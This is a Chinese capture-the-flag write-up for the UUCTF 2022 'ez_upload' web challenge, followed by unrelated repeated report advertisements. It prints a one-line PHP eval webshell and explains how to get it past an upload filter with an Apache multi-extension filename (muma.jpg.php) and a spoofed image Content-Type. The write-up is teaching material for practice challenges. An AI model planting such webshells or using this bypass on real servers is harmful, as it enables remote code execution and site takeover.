[UUCTF 2022 新生赛]ez_upload

题目来源：nssctf

题目类型：web

涉及考点：文件上传

1. 题目给了一个上传入口，直接传muma.php试试

一句话木马为<script language="php">eval($_POST['r00ts']);</script>

回显如下：

换成muma.jpg试试：

上传成功，再上传.htaccess文件进行解析，但是上传失败

2. 这里看到提示Apache解析漏洞，介绍一下

Apache解析漏洞：因为Apache默认一个文件可以有多个用.分割得后缀，当最右边的后缀无法识别（mime.types文件中的为合法后缀）则继续向左看，直到碰到合法后缀才进行解析（以最后一个合法后缀为准）,可用来绕过黑名单过滤。

于是我们构造文件名为muma.jpg.php，那么jpg就可以被正常解析并传入，于是bp抓包修改Content-Type:image/jpeg，传入成功：

NSSCTF{This_is_start_web_D0g}

日期：2023.8.14

作者：y0Zero

标签：后缀,UUCTF,upload,muma,2022,解析,上传
From： https://www.cnblogs.com/bkofyZ/p/17629763.html

【专题】2022母婴行业洞察报告PDF合集分享（附原数据表）
原文链接：https://tecdat.cn/?p=33430我国出生人口数量在2022年为956万人，比去年减少了10%。多种因素影响了这一趋势，包括育龄人口减少、生育观念改变以及婚育年龄推迟。然而，与此同时，由于母婴人群消费水平不断提高，以及精细化喂养逐渐成为育儿的主流方式，我国母婴市场产业规模持续增长......
【专题】2022年母婴行业内容营销研究报告PDF合集分享（附原数据表）
原文链接：https://tecdat.cn/?p=33430我国出生人口数量在2022年为956万人，比去年减少了10%。多种因素影响了这一趋势，包括育龄人口减少、生育观念改变以及婚育年龄推迟。然而，与此同时，由于母婴人群消费水平不断提高，以及精细化喂养逐渐成为育儿的主流方式，我国母婴市场产业规模持续增长......
【专题】2022年中国母婴群体消费决策趋势研究报告PDF合集分享（附原数据表）
原文链接：https://tecdat.cn/?p=33430我国出生人口数量在2022年为956万人，比去年减少了10%。多种因素影响了这一趋势，包括育龄人口减少、生育观念改变以及婚育年龄推迟。然而，与此同时，由于母婴人群消费水平不断提高，以及精细化喂养逐渐成为育儿的主流方式，我国母婴市场产业规模持续增长......
【专题】2022年中国母婴行业研究报告PDF合集分享（附原数据表）
原文链接：https://tecdat.cn/?p=33430我国出生人口数量在2022年为956万人，比去年减少了10%。多种因素影响了这一趋势，包括育龄人口减少、生育观念改变以及婚育年龄推迟。然而，与此同时，由于母婴人群消费水平不断提高，以及精细化喂养逐渐成为育儿的主流方式，我国母婴市场产业规模持续增长......
【专题】中国母婴市场趋势预见2022报告PDF合集分享（附原数据表）
原文链接：https://tecdat.cn/?p=33430我国出生人口数量在2022年为956万人，比去年减少了10%。多种因素影响了这一趋势，包括育龄人口减少、生育观念改变以及婚育年龄推迟。然而，与此同时，由于母婴人群消费水平不断提高，以及精细化喂养逐渐成为育儿的主流方式，我国母婴市场产业规模持续增长......
【专题】2022年中国母婴新消费白皮书报告PDF合集分享（附原数据表）
原文链接：https://tecdat.cn/?p=33430我国出生人口数量在2022年为956万人，比去年减少了10%。多种因素影响了这一趋势，包括育龄人口减少、生育观念改变以及婚育年龄推迟。然而，与此同时，由于母婴人群消费水平不断提高，以及精细化喂养逐渐成为育儿的主流方式，我国母婴市场产业规模持续增长......
【专题】2022母婴行业发展趋势研究报告PDF合集分享（附原数据表）
原文链接：https://tecdat.cn/?p=33430我国出生人口数量在2022年为956万人，比去年减少了10%。多种因素影响了这一趋势，包括育龄人口减少、生育观念改变以及婚育年龄推迟。然而，与此同时，由于母婴人群消费水平不断提高，以及精细化喂养逐渐成为育儿的主流方式，我国母婴市场产业规模持续增长......
【专题】2022年中国母婴新消费市场专题分析报告PDF合集分享（附原数据表）
原文链接：https://tecdat.cn/?p=33430我国出生人口数量在2022年为956万人，比去年减少了10%。多种因素影响了这一趋势，包括育龄人口减少、生育观念改变以及婚育年龄推迟。然而，与此同时，由于母婴人群消费水平不断提高，以及精细化喂养逐渐成为育儿的主流方式，我国母婴市场产业规模持续增长......
【专题】2022年·母婴行业用户洞察报告PDF合集分享（附原数据表）
原文链接：https://tecdat.cn/?p=33430我国出生人口数量在2022年为956万人，比去年减少了10%。多种因素影响了这一趋势，包括育龄人口减少、生育观念改变以及婚育年龄推迟。然而，与此同时，由于母婴人群消费水平不断提高，以及精细化喂养逐渐成为育儿的主流方式，我国母婴市场产业规模持续增长......
【专题】2022母婴行业发展趋势洞察报告PDF合集分享（附原数据表）
原文链接：https://tecdat.cn/?p=33430我国出生人口数量在2022年为956万人，比去年减少了10%。多种因素影响了这一趋势，包括育龄人口减少、生育观念改变以及婚育年龄推迟。然而，与此同时，由于母婴人群消费水平不断提高，以及精细化喂养逐渐成为育儿的主流方式，我国母婴市场产业规模持续增长......

[UUCTF 2022 新生赛]ez_upload

[UUCTF 2022 新生赛]ez_upload

1. 题目给了一个上传入口，直接传muma.php试试

2. 这里看到提示Apache解析漏洞，介绍一下

相关文章

赞助商

阅读排行